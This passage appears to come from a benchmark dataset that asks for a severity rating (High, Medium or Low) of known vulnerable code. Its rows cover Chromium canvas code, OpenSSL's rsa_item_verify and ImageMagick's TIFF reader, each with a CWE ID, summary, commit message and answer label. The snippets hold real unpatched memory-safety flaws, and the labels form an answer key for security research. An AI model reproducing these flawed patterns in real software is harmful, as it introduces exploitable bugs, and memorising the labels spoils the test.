CHECK(image && image->isTextureBacked());
texture_holder_ = std::make_unique<SkiaTextureHolder>(
std::move(image), std::move(context_provider_wrapper));
thread_checker_.DetachFromThread();
}
Vulnerability Type: Overflow
CWE ID: CWE-119
Summary: Incorrect, thread-unsafe use of SkImage in Canvas in Google Chrome prior to 71.0.3578.80 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
Commit Message: Fix *StaticBitmapImage ThreadChecker and unaccelerated SkImage destroy
- AcceleratedStaticBitmapImage was misusing ThreadChecker by having its
own detach logic. Using proper DetachThread is simpler, cleaner and
correct.
- UnacceleratedStaticBitmapImage didn't destroy the SkImage in the
proper thread, leading to GrContext/SkSp problems.
Bug: 890576
Change-Id: Ic71e7f7322b0b851774628247aa5256664bc0723
Reviewed-on: https://chromium-review.googlesource.com/c/1307775
Reviewed-by: Gabriel Charette <[email protected]>
Reviewed-by: Jeremy Roman <[email protected]>
Commit-Queue: Fernando Serboncini <[email protected]>
Cr-Commit-Position: refs/heads/master@{#604427} | Medium | 172,588 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: BaseRenderingContext2D::BaseRenderingContext2D()
: clip_antialiasing_(kNotAntiAliased) {
state_stack_.push_back(CanvasRenderingContext2DState::Create());
}
Vulnerability Type: +Info
CWE ID: CWE-200
Summary: Displacement map filters being applied to cross-origin images in Blink SVG rendering in Google Chrome prior to 65.0.3325.146 allowed a remote attacker to leak cross-origin data via a crafted HTML page.
Commit Message: [PE] Distinguish between tainting due to canvas content and filter.
A filter on a canvas can itself lead to origin tainting, for reasons
other than that the canvas contents are tainted. This CL changes
to distinguish these two causes, so that we recompute filters
on content-tainting change.
Bug: 778506
Change-Id: I3cec8ef3b2772f2af78cdd4b290520113092cca6
Reviewed-on: https://chromium-review.googlesource.com/811767
Reviewed-by: Fredrik Söderquist <[email protected]>
Commit-Queue: Chris Harrelson <[email protected]>
Cr-Commit-Position: refs/heads/master@{#522274} | Medium | 172,904 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static sk_sp<SkImage> premulSkImageToUnPremul(SkImage* input) {
SkImageInfo info = SkImageInfo::Make(input->width(), input->height(),
kN32_SkColorType, kUnpremul_SkAlphaType);
RefPtr<Uint8Array> dstPixels = copySkImageData(input, info);
if (!dstPixels)
return nullptr;
return newSkImageFromRaster(
info, std::move(dstPixels),
static_cast<size_t>(input->width()) * info.bytesPerPixel());
}
Vulnerability Type:
CWE ID: CWE-787
Summary: Bad casting in bitmap manipulation in Blink in Google Chrome prior to 55.0.2883.75 for Mac, Windows and Linux, and 55.0.2883.84 for Android allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
Commit Message: Prevent bad casting in ImageBitmap when calling ArrayBuffer::createOrNull
Currently when ImageBitmap's constructor is invoked, we check whether
dstSize will overflow size_t or not. The problem comes when we call
ArrayBuffer::createOrNull some times in the code.
Both parameters of ArrayBuffer::createOrNull are unsigned. In ImageBitmap
when we call this method, the first parameter is usually width * height.
This could overflow unsigned even if it has been checked safe with size_t,
the reason is that unsigned is a 32-bit value on 64-bit systems, while
size_t is a 64-bit value.
This CL makes a change such that we check whether the dstSize will overflow
unsigned or not. In this case, we can guarantee that createOrNull will not have
any crash.
BUG=664139
Review-Url: https://codereview.chromium.org/2500493002
Cr-Commit-Position: refs/heads/master@{#431936} | Medium | 172,504 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int rsa_item_verify(EVP_MD_CTX *ctx, const ASN1_ITEM *it, void *asn,
X509_ALGOR *sigalg, ASN1_BIT_STRING *sig,
EVP_PKEY *pkey)
{
/* Sanity check: make sure it is PSS */
if (OBJ_obj2nid(sigalg->algorithm) != NID_rsassaPss) {
RSAerr(RSA_F_RSA_ITEM_VERIFY, RSA_R_UNSUPPORTED_SIGNATURE_TYPE);
return -1;
}
if (rsa_pss_to_ctx(ctx, NULL, sigalg, pkey))
/* Carry on */
return 2;
return -1;
}
Vulnerability Type: DoS
CWE ID:
Summary: The ASN.1 signature-verification implementation in the rsa_item_verify function in crypto/rsa/rsa_ameth.c in OpenSSL 1.0.2 before 1.0.2a allows remote attackers to cause a denial of service (NULL pointer dereference and application crash) via crafted RSA PSS parameters to an endpoint that uses the certificate-verification feature.
Commit Message: | Medium | 164,820 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static Image *ReadTIFFImage(const ImageInfo *image_info,
ExceptionInfo *exception)
{
const char
*option;
float
*chromaticity,
x_position,
y_position,
x_resolution,
y_resolution;
Image
*image;
int
tiff_status;
MagickBooleanType
status;
MagickSizeType
number_pixels;
QuantumInfo
*quantum_info;
QuantumType
quantum_type;
register ssize_t
i;
size_t
pad;
ssize_t
y;
TIFF
*tiff;
TIFFMethodType
method;
uint16
compress_tag,
bits_per_sample,
endian,
extra_samples,
interlace,
max_sample_value,
min_sample_value,
orientation,
pages,
photometric,
*sample_info,
sample_format,
samples_per_pixel,
units,
value;
uint32
height,
rows_per_strip,
width;
unsigned char
*pixels;
/*
Open image.
*/
assert(image_info != (const ImageInfo *) NULL);
assert(image_info->signature == MagickSignature);
if (image_info->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",
image_info->filename);
assert(exception != (ExceptionInfo *) NULL);
assert(exception->signature == MagickSignature);
image=AcquireImage(image_info);
status=OpenBlob(image_info,image,ReadBinaryBlobMode,exception);
if (status == MagickFalse)
{
image=DestroyImageList(image);
return((Image *) NULL);
}
(void) SetMagickThreadValue(tiff_exception,exception);
tiff=TIFFClientOpen(image->filename,"rb",(thandle_t) image,TIFFReadBlob,
TIFFWriteBlob,TIFFSeekBlob,TIFFCloseBlob,TIFFGetBlobSize,TIFFMapBlob,
TIFFUnmapBlob);
if (tiff == (TIFF *) NULL)
{
image=DestroyImageList(image);
return((Image *) NULL);
}
if (image_info->number_scenes != 0)
{
/*
Generate blank images for subimage specification (e.g. image.tif[4].
We need to check the number of directores because it is possible that
the subimage(s) are stored in the photoshop profile.
*/
if (image_info->scene < (size_t)TIFFNumberOfDirectories(tiff))
{
for (i=0; i < (ssize_t) image_info->scene; i++)
{
status=TIFFReadDirectory(tiff) != 0 ? MagickTrue : MagickFalse;
if (status == MagickFalse)
{
TIFFClose(tiff);
image=DestroyImageList(image);
return((Image *) NULL);
}
AcquireNextImage(image_info,image);
if (GetNextImageInList(image) == (Image *) NULL)
{
TIFFClose(tiff);
image=DestroyImageList(image);
return((Image *) NULL);
}
image=SyncNextImageInList(image);
}
}
}
do
{
DisableMSCWarning(4127)
if (0 && (image_info->verbose != MagickFalse))
TIFFPrintDirectory(tiff,stdout,MagickFalse);
RestoreMSCWarning
if ((TIFFGetField(tiff,TIFFTAG_IMAGEWIDTH,&width) != 1) ||
(TIFFGetField(tiff,TIFFTAG_IMAGELENGTH,&height) != 1) ||
(TIFFGetFieldDefaulted(tiff,TIFFTAG_COMPRESSION,&compress_tag) != 1) ||
(TIFFGetFieldDefaulted(tiff,TIFFTAG_FILLORDER,&endian) != 1) ||
(TIFFGetFieldDefaulted(tiff,TIFFTAG_PLANARCONFIG,&interlace) != 1) ||
(TIFFGetFieldDefaulted(tiff,TIFFTAG_SAMPLESPERPIXEL,&samples_per_pixel) != 1) ||
(TIFFGetFieldDefaulted(tiff,TIFFTAG_BITSPERSAMPLE,&bits_per_sample) != 1) ||
(TIFFGetFieldDefaulted(tiff,TIFFTAG_SAMPLEFORMAT,&sample_format) != 1) ||
(TIFFGetFieldDefaulted(tiff,TIFFTAG_MINSAMPLEVALUE,&min_sample_value) != 1) ||
(TIFFGetFieldDefaulted(tiff,TIFFTAG_MAXSAMPLEVALUE,&max_sample_value) != 1) ||
(TIFFGetFieldDefaulted(tiff,TIFFTAG_PHOTOMETRIC,&photometric) != 1))
{
TIFFClose(tiff);
ThrowReaderException(CorruptImageError,"ImproperImageHeader");
}
if (sample_format == SAMPLEFORMAT_IEEEFP)
(void) SetImageProperty(image,"quantum:format","floating-point");
switch (photometric)
{
case PHOTOMETRIC_MINISBLACK:
{
(void) SetImageProperty(image,"tiff:photometric","min-is-black");
break;
}
case PHOTOMETRIC_MINISWHITE:
{
(void) SetImageProperty(image,"tiff:photometric","min-is-white");
break;
}
case PHOTOMETRIC_PALETTE:
{
(void) SetImageProperty(image,"tiff:photometric","palette");
break;
}
case PHOTOMETRIC_RGB:
{
(void) SetImageProperty(image,"tiff:photometric","RGB");
break;
}
case PHOTOMETRIC_CIELAB:
{
(void) SetImageProperty(image,"tiff:photometric","CIELAB");
break;
}
case PHOTOMETRIC_LOGL:
{
(void) SetImageProperty(image,"tiff:photometric","CIE Log2(L)");
break;
}
case PHOTOMETRIC_LOGLUV:
{
(void) SetImageProperty(image,"tiff:photometric","LOGLUV");
break;
}
#if defined(PHOTOMETRIC_MASK)
case PHOTOMETRIC_MASK:
{
(void) SetImageProperty(image,"tiff:photometric","MASK");
break;
}
#endif
case PHOTOMETRIC_SEPARATED:
{
(void) SetImageProperty(image,"tiff:photometric","separated");
break;
}
case PHOTOMETRIC_YCBCR:
{
(void) SetImageProperty(image,"tiff:photometric","YCBCR");
break;
}
default:
{
(void) SetImageProperty(image,"tiff:photometric","unknown");
break;
}
}
if (image->debug != MagickFalse)
{
(void) LogMagickEvent(CoderEvent,GetMagickModule(),"Geometry: %ux%u",
(unsigned int) width,(unsigned int) height);
(void) LogMagickEvent(CoderEvent,GetMagickModule(),"Interlace: %u",
interlace);
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
"Bits per sample: %u",bits_per_sample);
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
"Min sample value: %u",min_sample_value);
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
"Max sample value: %u",max_sample_value);
(void) LogMagickEvent(CoderEvent,GetMagickModule(),"Photometric "
"interpretation: %s",GetImageProperty(image,"tiff:photometric"));
}
image->columns=(size_t) width;
image->rows=(size_t) height;
image->depth=(size_t) bits_per_sample;
status=SetImageExtent(image,image->columns,image->rows);
if (status == MagickFalse)
{
InheritException(exception,&image->exception);
return(DestroyImageList(image));
}
if (image->debug != MagickFalse)
(void) LogMagickEvent(CoderEvent,GetMagickModule(),"Image depth: %.20g",
(double) image->depth);
image->endian=MSBEndian;
if (endian == FILLORDER_LSB2MSB)
image->endian=LSBEndian;
#if defined(MAGICKCORE_HAVE_TIFFISBIGENDIAN)
if (TIFFIsBigEndian(tiff) == 0)
{
(void) SetImageProperty(image,"tiff:endian","lsb");
image->endian=LSBEndian;
}
else
{
(void) SetImageProperty(image,"tiff:endian","msb");
image->endian=MSBEndian;
}
#endif
if ((photometric == PHOTOMETRIC_MINISBLACK) ||
(photometric == PHOTOMETRIC_MINISWHITE))
SetImageColorspace(image,GRAYColorspace);
if (photometric == PHOTOMETRIC_SEPARATED)
SetImageColorspace(image,CMYKColorspace);
if (photometric == PHOTOMETRIC_CIELAB)
SetImageColorspace(image,LabColorspace);
TIFFGetProfiles(tiff,image,image_info->ping);
TIFFGetProperties(tiff,image);
option=GetImageOption(image_info,"tiff:exif-properties");
if ((option == (const char *) NULL) ||
(IsMagickTrue(option) != MagickFalse))
TIFFGetEXIFProperties(tiff,image);
if ((TIFFGetFieldDefaulted(tiff,TIFFTAG_XRESOLUTION,&x_resolution) == 1) &&
(TIFFGetFieldDefaulted(tiff,TIFFTAG_YRESOLUTION,&y_resolution) == 1))
{
image->x_resolution=x_resolution;
image->y_resolution=y_resolution;
}
if (TIFFGetFieldDefaulted(tiff,TIFFTAG_RESOLUTIONUNIT,&units) == 1)
{
if (units == RESUNIT_INCH)
image->units=PixelsPerInchResolution;
if (units == RESUNIT_CENTIMETER)
image->units=PixelsPerCentimeterResolution;
}
if ((TIFFGetFieldDefaulted(tiff,TIFFTAG_XPOSITION,&x_position) == 1) &&
(TIFFGetFieldDefaulted(tiff,TIFFTAG_YPOSITION,&y_position) == 1))
{
image->page.x=(ssize_t) ceil(x_position*image->x_resolution-0.5);
image->page.y=(ssize_t) ceil(y_position*image->y_resolution-0.5);
}
if (TIFFGetFieldDefaulted(tiff,TIFFTAG_ORIENTATION,&orientation) == 1)
image->orientation=(OrientationType) orientation;
if (TIFFGetField(tiff,TIFFTAG_WHITEPOINT,&chromaticity) == 1)
{
if (chromaticity != (float *) NULL)
{
image->chromaticity.white_point.x=chromaticity[0];
image->chromaticity.white_point.y=chromaticity[1];
}
}
if (TIFFGetField(tiff,TIFFTAG_PRIMARYCHROMATICITIES,&chromaticity) == 1)
{
if (chromaticity != (float *) NULL)
{
image->chromaticity.red_primary.x=chromaticity[0];
image->chromaticity.red_primary.y=chromaticity[1];
image->chromaticity.green_primary.x=chromaticity[2];
image->chromaticity.green_primary.y=chromaticity[3];
image->chromaticity.blue_primary.x=chromaticity[4];
image->chromaticity.blue_primary.y=chromaticity[5];
}
}
#if defined(MAGICKCORE_HAVE_TIFFISCODECCONFIGURED) || (TIFFLIB_VERSION > 20040919)
if ((compress_tag != COMPRESSION_NONE) &&
(TIFFIsCODECConfigured(compress_tag) == 0))
{
TIFFClose(tiff);
ThrowReaderException(CoderError,"CompressNotSupported");
}
#endif
switch (compress_tag)
{
case COMPRESSION_NONE: image->compression=NoCompression; break;
case COMPRESSION_CCITTFAX3: image->compression=FaxCompression; break;
case COMPRESSION_CCITTFAX4: image->compression=Group4Compression; break;
case COMPRESSION_JPEG:
{
image->compression=JPEGCompression;
#if defined(JPEG_SUPPORT)
{
char
sampling_factor[MaxTextExtent];
int
tiff_status;
uint16
horizontal,
vertical;
tiff_status=TIFFGetFieldDefaulted(tiff,TIFFTAG_YCBCRSUBSAMPLING,
&horizontal,&vertical);
if (tiff_status == 1)
{
(void) FormatLocaleString(sampling_factor,MaxTextExtent,"%dx%d",
horizontal,vertical);
(void) SetImageProperty(image,"jpeg:sampling-factor",
sampling_factor);
(void) LogMagickEvent(CoderEvent,GetMagickModule(),
"Sampling Factors: %s",sampling_factor);
}
}
#endif
break;
}
case COMPRESSION_OJPEG: image->compression=JPEGCompression; break;
#if defined(COMPRESSION_LZMA)
case COMPRESSION_LZMA: image->compression=LZMACompression; break;
#endif
case COMPRESSION_LZW: image->compression=LZWCompression; break;
case COMPRESSION_DEFLATE: image->compression=ZipCompression; break;
case COMPRESSION_ADOBE_DEFLATE: image->compression=ZipCompression; break;
default: image->compression=RLECompression; break;
}
/*
Allocate memory for the image and pixel buffer.
*/
quantum_info=AcquireQuantumInfo(image_info,image);
if (quantum_info == (QuantumInfo *) NULL)
{
TIFFClose(tiff);
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
}
if (sample_format == SAMPLEFORMAT_UINT)
status=SetQuantumFormat(image,quantum_info,UnsignedQuantumFormat);
if (sample_format == SAMPLEFORMAT_INT)
status=SetQuantumFormat(image,quantum_info,SignedQuantumFormat);
if (sample_format == SAMPLEFORMAT_IEEEFP)
status=SetQuantumFormat(image,quantum_info,FloatingPointQuantumFormat);
if (status == MagickFalse)
{
TIFFClose(tiff);
quantum_info=DestroyQuantumInfo(quantum_info);
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
}
status=MagickTrue;
switch (photometric)
{
case PHOTOMETRIC_MINISBLACK:
{
quantum_info->min_is_white=MagickFalse;
break;
}
case PHOTOMETRIC_MINISWHITE:
{
quantum_info->min_is_white=MagickTrue;
break;
}
default:
break;
}
tiff_status=TIFFGetFieldDefaulted(tiff,TIFFTAG_EXTRASAMPLES,&extra_samples,
&sample_info);
if (tiff_status == 1)
{
(void) SetImageProperty(image,"tiff:alpha","unspecified");
if (extra_samples == 0)
{
if ((samples_per_pixel == 4) && (photometric == PHOTOMETRIC_RGB))
image->matte=MagickTrue;
}
else
for (i=0; i < extra_samples; i++)
{
image->matte=MagickTrue;
if (sample_info[i] == EXTRASAMPLE_ASSOCALPHA)
{
SetQuantumAlphaType(quantum_info,DisassociatedQuantumAlpha);
(void) SetImageProperty(image,"tiff:alpha","associated");
}
else
if (sample_info[i] == EXTRASAMPLE_UNASSALPHA)
(void) SetImageProperty(image,"tiff:alpha","unassociated");
}
}
if ((photometric == PHOTOMETRIC_PALETTE) &&
(pow(2.0,1.0*bits_per_sample) <= MaxColormapSize))
{
size_t
colors;
colors=(size_t) GetQuantumRange(bits_per_sample)+1;
if (AcquireImageColormap(image,colors) == MagickFalse)
{
TIFFClose(tiff);
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
}
}
if (TIFFGetFieldDefaulted(tiff,TIFFTAG_PAGENUMBER,&value,&pages) == 1)
image->scene=value;
if (image->storage_class == PseudoClass)
{
int
tiff_status;
size_t
range;
uint16
*blue_colormap,
*green_colormap,
*red_colormap;
/*
Initialize colormap.
*/
tiff_status=TIFFGetField(tiff,TIFFTAG_COLORMAP,&red_colormap,
&green_colormap,&blue_colormap);
if (tiff_status == 1)
{
if ((red_colormap != (uint16 *) NULL) &&
(green_colormap != (uint16 *) NULL) &&
(blue_colormap != (uint16 *) NULL))
{
range=255; /* might be old style 8-bit colormap */
for (i=0; i < (ssize_t) image->colors; i++)
if ((red_colormap[i] >= 256) || (green_colormap[i] >= 256) ||
(blue_colormap[i] >= 256))
{
range=65535;
break;
}
for (i=0; i < (ssize_t) image->colors; i++)
{
image->colormap[i].red=ClampToQuantum(((double)
QuantumRange*red_colormap[i])/range);
image->colormap[i].green=ClampToQuantum(((double)
QuantumRange*green_colormap[i])/range);
image->colormap[i].blue=ClampToQuantum(((double)
QuantumRange*blue_colormap[i])/range);
}
}
}
if (image->matte == MagickFalse)
image->depth=GetImageDepth(image,exception);
}
if (image_info->ping != MagickFalse)
{
if (image_info->number_scenes != 0)
if (image->scene >= (image_info->scene+image_info->number_scenes-1))
{
quantum_info=DestroyQuantumInfo(quantum_info);
break;
}
goto next_tiff_frame;
}
method=ReadGenericMethod;
if (TIFFGetField(tiff,TIFFTAG_ROWSPERSTRIP,&rows_per_strip) == 1)
{
char
value[MaxTextExtent];
method=ReadStripMethod;
(void) FormatLocaleString(value,MaxTextExtent,"%u",(unsigned int)
rows_per_strip);
(void) SetImageProperty(image,"tiff:rows-per-strip",value);
}
if ((samples_per_pixel >= 2) && (interlace == PLANARCONFIG_CONTIG))
method=ReadRGBAMethod;
if ((samples_per_pixel >= 2) && (interlace == PLANARCONFIG_SEPARATE))
method=ReadCMYKAMethod;
if ((photometric != PHOTOMETRIC_RGB) &&
(photometric != PHOTOMETRIC_CIELAB) &&
(photometric != PHOTOMETRIC_SEPARATED))
method=ReadGenericMethod;
if (image->storage_class == PseudoClass)
method=ReadSingleSampleMethod;
if ((photometric == PHOTOMETRIC_MINISBLACK) ||
(photometric == PHOTOMETRIC_MINISWHITE))
method=ReadSingleSampleMethod;
if ((photometric != PHOTOMETRIC_SEPARATED) &&
(interlace == PLANARCONFIG_SEPARATE) && (bits_per_sample < 64))
method=ReadGenericMethod;
if (image->compression == JPEGCompression)
method=GetJPEGMethod(image,tiff,photometric,bits_per_sample,
samples_per_pixel);
if (compress_tag == COMPRESSION_JBIG)
method=ReadStripMethod;
if (TIFFIsTiled(tiff) != MagickFalse)
method=ReadTileMethod;
quantum_info->endian=LSBEndian;
quantum_type=RGBQuantum;
pixels=GetQuantumPixels(quantum_info);
switch (method)
{
case ReadSingleSampleMethod:
{
/*
Convert TIFF image to PseudoClass MIFF image.
*/
quantum_type=IndexQuantum;
pad=(size_t) MagickMax((size_t) samples_per_pixel-1,0);
if (image->matte != MagickFalse)
{
if (image->storage_class != PseudoClass)
{
quantum_type=samples_per_pixel == 1 ? AlphaQuantum :
GrayAlphaQuantum;
pad=(size_t) MagickMax((size_t) samples_per_pixel-2,0);
}
else
{
quantum_type=IndexAlphaQuantum;
pad=(size_t) MagickMax((size_t) samples_per_pixel-2,0);
}
}
else
if (image->storage_class != PseudoClass)
{
quantum_type=GrayQuantum;
pad=(size_t) MagickMax((size_t) samples_per_pixel-1,0);
}
status=SetQuantumPad(image,quantum_info,pad*((bits_per_sample+7) >> 3));
if (status == MagickFalse)
{
TIFFClose(tiff);
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
}
pixels=GetQuantumPixels(quantum_info);
for (y=0; y < (ssize_t) image->rows; y++)
{
int
status;
register PixelPacket
*magick_restrict q;
status=TIFFReadPixels(tiff,bits_per_sample,0,y,(char *) pixels);
if (status == -1)
break;
q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
if (q == (PixelPacket *) NULL)
break;
(void) ImportQuantumPixels(image,(CacheView *) NULL,quantum_info,
quantum_type,pixels,exception);
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,
image->rows);
if (status == MagickFalse)
break;
}
}
break;
}
case ReadRGBAMethod:
{
/*
Convert TIFF image to DirectClass MIFF image.
*/
pad=(size_t) MagickMax((size_t) samples_per_pixel-3,0);
quantum_type=RGBQuantum;
if (image->matte != MagickFalse)
{
quantum_type=RGBAQuantum;
pad=(size_t) MagickMax((size_t) samples_per_pixel-4,0);
}
if (image->colorspace == CMYKColorspace)
{
pad=(size_t) MagickMax((size_t) samples_per_pixel-4,0);
quantum_type=CMYKQuantum;
if (image->matte != MagickFalse)
{
quantum_type=CMYKAQuantum;
pad=(size_t) MagickMax((size_t) samples_per_pixel-5,0);
}
}
status=SetQuantumPad(image,quantum_info,pad*((bits_per_sample+7) >> 3));
if (status == MagickFalse)
{
TIFFClose(tiff);
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
}
pixels=GetQuantumPixels(quantum_info);
for (y=0; y < (ssize_t) image->rows; y++)
{
int
status;
register PixelPacket
*magick_restrict q;
status=TIFFReadPixels(tiff,bits_per_sample,0,y,(char *) pixels);
if (status == -1)
break;
q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
if (q == (PixelPacket *) NULL)
break;
(void) ImportQuantumPixels(image,(CacheView *) NULL,quantum_info,
quantum_type,pixels,exception);
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,
image->rows);
if (status == MagickFalse)
break;
}
}
break;
}
case ReadCMYKAMethod:
{
/*
Convert TIFF image to DirectClass MIFF image.
*/
for (i=0; i < (ssize_t) samples_per_pixel; i++)
{
for (y=0; y < (ssize_t) image->rows; y++)
{
register PixelPacket
*magick_restrict q;
int
status;
status=TIFFReadPixels(tiff,bits_per_sample,(tsample_t) i,y,(char *)
pixels);
if (status == -1)
break;
q=GetAuthenticPixels(image,0,y,image->columns,1,exception);
if (q == (PixelPacket *) NULL)
break;
if (image->colorspace != CMYKColorspace)
switch (i)
{
case 0: quantum_type=RedQuantum; break;
case 1: quantum_type=GreenQuantum; break;
case 2: quantum_type=BlueQuantum; break;
case 3: quantum_type=AlphaQuantum; break;
default: quantum_type=UndefinedQuantum; break;
}
else
switch (i)
{
case 0: quantum_type=CyanQuantum; break;
case 1: quantum_type=MagentaQuantum; break;
case 2: quantum_type=YellowQuantum; break;
case 3: quantum_type=BlackQuantum; break;
case 4: quantum_type=AlphaQuantum; break;
default: quantum_type=UndefinedQuantum; break;
}
(void) ImportQuantumPixels(image,(CacheView *) NULL,quantum_info,
quantum_type,pixels,exception);
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
}
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,
image->rows);
if (status == MagickFalse)
break;
}
}
break;
}
case ReadYCCKMethod:
{
pixels=GetQuantumPixels(quantum_info);
for (y=0; y < (ssize_t) image->rows; y++)
{
int
status;
register IndexPacket
*indexes;
register PixelPacket
*magick_restrict q;
register ssize_t
x;
unsigned char
*p;
status=TIFFReadPixels(tiff,bits_per_sample,0,y,(char *) pixels);
if (status == -1)
break;
q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
if (q == (PixelPacket *) NULL)
break;
indexes=GetAuthenticIndexQueue(image);
p=pixels;
for (x=0; x < (ssize_t) image->columns; x++)
{
SetPixelCyan(q,ScaleCharToQuantum(ClampYCC((double) *p+
(1.402*(double) *(p+2))-179.456)));
SetPixelMagenta(q,ScaleCharToQuantum(ClampYCC((double) *p-
(0.34414*(double) *(p+1))-(0.71414*(double ) *(p+2))+
135.45984)));
SetPixelYellow(q,ScaleCharToQuantum(ClampYCC((double) *p+
(1.772*(double) *(p+1))-226.816)));
SetPixelBlack(indexes+x,ScaleCharToQuantum((unsigned char)*(p+3)));
q++;
p+=4;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,
image->rows);
if (status == MagickFalse)
break;
}
}
break;
}
case ReadStripMethod:
{
register uint32
*p;
/*
Convert stripped TIFF image to DirectClass MIFF image.
*/
i=0;
p=(uint32 *) NULL;
for (y=0; y < (ssize_t) image->rows; y++)
{
register ssize_t
x;
register PixelPacket
*magick_restrict q;
q=QueueAuthenticPixels(image,0,y,image->columns,1,exception);
if (q == (PixelPacket *) NULL)
break;
if (i == 0)
{
if (TIFFReadRGBAStrip(tiff,(tstrip_t) y,(uint32 *) pixels) == 0)
break;
i=(ssize_t) MagickMin((ssize_t) rows_per_strip,(ssize_t)
image->rows-y);
}
i--;
p=((uint32 *) pixels)+image->columns*i;
for (x=0; x < (ssize_t) image->columns; x++)
{
SetPixelRed(q,ScaleCharToQuantum((unsigned char)
(TIFFGetR(*p))));
SetPixelGreen(q,ScaleCharToQuantum((unsigned char)
(TIFFGetG(*p))));
SetPixelBlue(q,ScaleCharToQuantum((unsigned char)
(TIFFGetB(*p))));
if (image->matte != MagickFalse)
SetPixelOpacity(q,ScaleCharToQuantum((unsigned char)
(TIFFGetA(*p))));
p++;
q++;
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,
image->rows);
if (status == MagickFalse)
break;
}
}
break;
}
case ReadTileMethod:
{
register uint32
*p;
uint32
*tile_pixels,
columns,
rows;
size_t
number_pixels;
/*
Convert tiled TIFF image to DirectClass MIFF image.
*/
if ((TIFFGetField(tiff,TIFFTAG_TILEWIDTH,&columns) != 1) ||
(TIFFGetField(tiff,TIFFTAG_TILELENGTH,&rows) != 1))
{
TIFFClose(tiff);
ThrowReaderException(CoderError,"ImageIsNotTiled");
}
(void) SetImageStorageClass(image,DirectClass);
number_pixels=columns*rows;
tile_pixels=(uint32 *) AcquireQuantumMemory(number_pixels,
sizeof(*tile_pixels));
if (tile_pixels == (uint32 *) NULL)
{
TIFFClose(tiff);
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
}
for (y=0; y < (ssize_t) image->rows; y+=rows)
{
PixelPacket
*tile;
register ssize_t
x;
register PixelPacket
*magick_restrict q;
size_t
columns_remaining,
rows_remaining;
rows_remaining=image->rows-y;
if ((ssize_t) (y+rows) < (ssize_t) image->rows)
rows_remaining=rows;
tile=QueueAuthenticPixels(image,0,y,image->columns,rows_remaining,
exception);
if (tile == (PixelPacket *) NULL)
break;
for (x=0; x < (ssize_t) image->columns; x+=columns)
{
size_t
column,
row;
if (TIFFReadRGBATile(tiff,(uint32) x,(uint32) y,tile_pixels) == 0)
break;
columns_remaining=image->columns-x;
if ((ssize_t) (x+columns) < (ssize_t) image->columns)
columns_remaining=columns;
p=tile_pixels+(rows-rows_remaining)*columns;
q=tile+(image->columns*(rows_remaining-1)+x);
for (row=rows_remaining; row > 0; row--)
{
if (image->matte != MagickFalse)
for (column=columns_remaining; column > 0; column--)
{
SetPixelRed(q,ScaleCharToQuantum((unsigned char)
TIFFGetR(*p)));
SetPixelGreen(q,ScaleCharToQuantum((unsigned char)
TIFFGetG(*p)));
SetPixelBlue(q,ScaleCharToQuantum((unsigned char)
TIFFGetB(*p)));
SetPixelAlpha(q,ScaleCharToQuantum((unsigned char)
TIFFGetA(*p)));
q++;
p++;
}
else
for (column=columns_remaining; column > 0; column--)
{
SetPixelRed(q,ScaleCharToQuantum((unsigned char)
TIFFGetR(*p)));
SetPixelGreen(q,ScaleCharToQuantum((unsigned char)
TIFFGetG(*p)));
SetPixelBlue(q,ScaleCharToQuantum((unsigned char)
TIFFGetB(*p)));
q++;
p++;
}
p+=columns-columns_remaining;
q-=(image->columns+columns_remaining);
}
}
if (SyncAuthenticPixels(image,exception) == MagickFalse)
break;
if (image->previous == (Image *) NULL)
{
status=SetImageProgress(image,LoadImageTag,(MagickOffsetType) y,
image->rows);
if (status == MagickFalse)
break;
}
}
tile_pixels=(uint32 *) RelinquishMagickMemory(tile_pixels);
break;
}
case ReadGenericMethod:
default:
{
MemoryInfo
*pixel_info;
register uint32
*p;
uint32
*pixels;
/*
Convert TIFF image to DirectClass MIFF image.
*/
number_pixels=(MagickSizeType) image->columns*image->rows;
if ((number_pixels*sizeof(uint32)) != (MagickSizeType) ((size_t)
(number_pixels*sizeof(uint32))))
{
TIFFClose(tiff);
ThrowReaderException(ResourceLimitError,"MemoryAllocationFailed");
}
pixel_info=AcquireVirtualMemory(image->columns,image->rows*
